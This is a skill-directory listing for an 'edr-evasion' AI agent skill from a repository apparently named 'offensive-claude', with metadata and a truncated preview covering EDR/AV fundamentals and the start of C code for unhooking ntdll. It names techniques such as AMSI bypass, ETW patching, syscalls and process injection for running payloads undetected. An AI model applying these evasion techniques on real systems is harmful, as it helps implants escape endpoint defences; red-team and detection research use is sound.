edr-evasion

Featured

Use when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion

Data & Documents 382 stars 66 forks Updated 5 days ago MIT

Install

View on GitHub

Quality Score: 95/100

Stars 20%
86
Recency 20%
100
Frontmatter 20%
70
Documentation 15%
100
Issue Health 10%
80
License 10%
100
Description 5%
100

Skill Content

# EDR Evasion ## When to Activate - Planning EDR bypass during red team engagements - Researching AV/EDR evasion techniques - Developing implants that must survive endpoint detection - Testing detection capabilities of security products ## Fundamentals ### AV vs EDR **Antivirus (preventive)**: - Static analysis: matching known signatures in files - Dynamic analysis: limited behavioral monitoring/sandboxing - Effective against known threats, weaker against advanced attacks **EDR (proactive & investigative)**: - Continuous endpoint monitoring - Behavioral analysis at kernel level - Anomaly detection and post-compromise visibility - Prioritizes incident response and investigation ### Windows Execution Flow ``` Application → DLL (kernel32/ntdll) → Syscall → Kernel (ntoskrnl) ↑ EDR hooks here (userland hooks in ntdll) ``` ## Hook Unhooking ### Userland Unhooking (ntdll.dll) EDRs hook ntdll functions by replacing the first bytes with a JMP to their inspection code. ```c // Method 1: Map fresh ntdll from disk HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); LPVOID freshNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); // Get .text section of loaded ntdll HMODULE loadedNtdll = GetModuleHandleA("ntdll.dll"); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER...

Details

Author
hypnguyen1209
Repository
hypnguyen1209/offensive-claude
Created
4 months ago
Last Updated
5 days ago
Language
Python
License
MIT

Bundled in these plugins

Similar Skills

Semantically similar based on skill content — not just same category